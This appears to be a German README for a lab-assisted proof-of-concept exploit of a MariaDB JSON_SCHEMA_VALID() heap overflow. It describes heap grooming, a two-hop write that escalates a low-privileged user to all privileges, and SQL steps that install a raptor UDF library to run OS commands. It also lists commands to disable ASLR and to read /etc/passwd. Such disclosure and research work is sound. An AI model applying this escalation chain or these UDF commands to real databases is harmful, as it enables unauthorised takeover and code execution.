CVE-2026-32710

Heap-Pufferüberlauf in MariaDB JSON_SCHEMA_VALID() → persistente Privilegieneskalation → UDF-RCE

Laborunterstützt. Das Skript verwendet Docker-/Root-Introspection, um /proc/1/mem zu lesen und das Heap-Layout pro Verbindung zu ermitteln. Die eigentliche Exploit-Kette ist reines SQL über TCP. Ein waffenfähiger Exploit bräuchte eine Info-Leak-Primitive, um den Speicher-Introspection-Schritt zu ersetzen.

Vorher

lowpriv kann nur SELECT auf der Datenbank test ausführen. Systemtabellen sind verweigert.

Exploit

Ein einzelnes Python-Skript führt Heap-Grooming, einen Zwei-Sprung-Schreibzugriff über Benutzervariablen-Metadaten durch, persistiert die Eskalation über GRANT ALL und erreicht Codeausführung über eine UDF:

python3 exploit.py

Nachher

lowpriv hat nun ALL PRIVILEGES WITH GRANT OPTION, kann Systemtabellen lesen, beliebige Dateien lesen/schreiben und Betriebssystembefehle als Benutzer mysql ausführen. Das Grant übersteht einen Server-Neustart.

Phasen

Phase 1: Privilegieneskalation

┌──────────────────────────────────────────────────────────────────┐
│  SELECT  json_schema_valid(overflow),                           │
│          @ccc...c := hop1,                                      │
│          @aaa...a := hop2                                       │
└──────────────────────────────────────────────────────────────────┘
         │                    │                   │
         ▼                    ▼                   ▼
   ┌───────────┐     ┌──────────────┐    ┌──────────────┐
   │ 192-Byte  │     │ Schreiben    │    │ Schreiben    │
   │ Überlauf  │     │ auf @c über  │    │ auf @a über  │
   │ korrumpiert│     │ den          │    │ den          │
   │ entry_c's │     │ korrumpierten│    │ umgeleiteten │
   │ value-ptr │     │ Zeiger:      │    │ Zeiger:      │
   │ (2-Byte-  │     │              │    │              │
   │  Teilüber-│     │ entry_a →    │    │ master_access│
   │  schreibung)│    │   .value =   │    │   = 0xFFFF.. │
   │            │     │   &master_   │    │ (ALLE RECHTE)│
   │            │     │   access     │    │              │
   └───────────┘     │   .length= 9 │    └──────────────┘
                      └──────────────┘

1. Heap-Grooming — Über 100 Benutzervariablen erschöpfen den tcache und erzwingen, dass Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c aufeinanderfolgend allokiert werden.

2. Überlauf — JSON_SCHEMA_VALID löst ein 192-Byte-strncpy über den 128-Byte-Puffer hinaus aus und korrumpiert entry_c→value (2-Byte-Teilzeiger- überschreibung innerhalb derselben 64-KB-Seite), sodass er auf entry_a + 32 zeigt.

3. Sprung 1 — Die Zuweisung an @c schreibt 126 Bytes über den korrumpierten Zeiger in die Metadaten von entry_a und setzt:

   • entry_a→value = &Security_context::master_access
   • entry_a→length = 9

4. Sprung 2 — Die Zuweisung an @a schreibt 8 Bytes 0xFF über den umgeleiteten -Zeiger → .

Phase 2: UDF-RCE

Nach der Persistenz wird der Server neu gestartet (Crash-Recovery), und die eskalierten Rechte werden genutzt, um eine UDF-Shared-Library zu installieren:

1. LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'
2. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'
3. SELECT sys_exec('id > /tmp/pwned')

Gelöste Schlüsselbeschränkungen

Labor-Setup

# 1. Container bauen und starten
./setup.sh

# 2. ASLR auf dem Docker-Host deaktivieren
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

# 3. Exploit ausführen (kalibriert automatisch pro Versuch)
python3 exploit.py

# 4. Benutzerdefinierter Befehl
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'

Voraussetzungen

• Docker (x86_64)
• Python 3
• ASLR auf dem Docker-Host deaktiviert (/proc/sys/kernel/randomize_va_space = 0)
• Container läuft mit --cap-add SYS_PTRACE (für /proc/1/mem-Zugriff)

Optionen

--calibrate      Heap-Layout-Konstanten messen und beenden
--cmd CMD        Befehl für Phase-2-UDF-Ausführung (Standard: id > /tmp/pwned)
--stage1-only    Nur Privilegieneskalation ausführen, UDF-RCE überspringen
--attempts N     Maximale Phase-1-Versuche (Standard: 5)
--host HOST      MariaDB-Host (Standard: 127.0.0.1)
--port PORT      MariaDB-Port (Standard: 3306)

Was die Laborunterstützung bietet

Das Exploit-Skript verbindet sich als Root in den Container, um /proc/1/mem zu lesen. Dies wird für zwei Dinge verwendet:

1. Heap-Layout-Erkennung — Auffinden der drei Sentinel-user_var_entry- Strukturen und Verifizieren, dass sie benachbart sind (entry_a+32 innerhalb derselben 64-KB-Seite wie entry_c→value für die 2-Byte-Teilüberschreibung).
2. Security_context-Adresse — Auffinden des master_access-Felds, das mit dem Zwei-Sprung-Schreibzugriff angezielt wird.

Der Scan läuft inline für jeden Versuch, da das Heap-Layout zwischen Verbindungen variiert (selbst mit ASLR=0), weil der MariaDB-Thread-Pool unterschiedliche Arenas zuweist. Die eigentliche Exploit-Kette — Überlauf + Hop1 + Hop2 — ist reines SQL, das über eine TCP-Verbindung ausgeführt wird.

In einem realen Szenario bräuchte ein Angreifer eine separate Info-Leak- Schwachstelle (oder einen Seitenkanal), um diese Adressen zu erhalten.

Dateien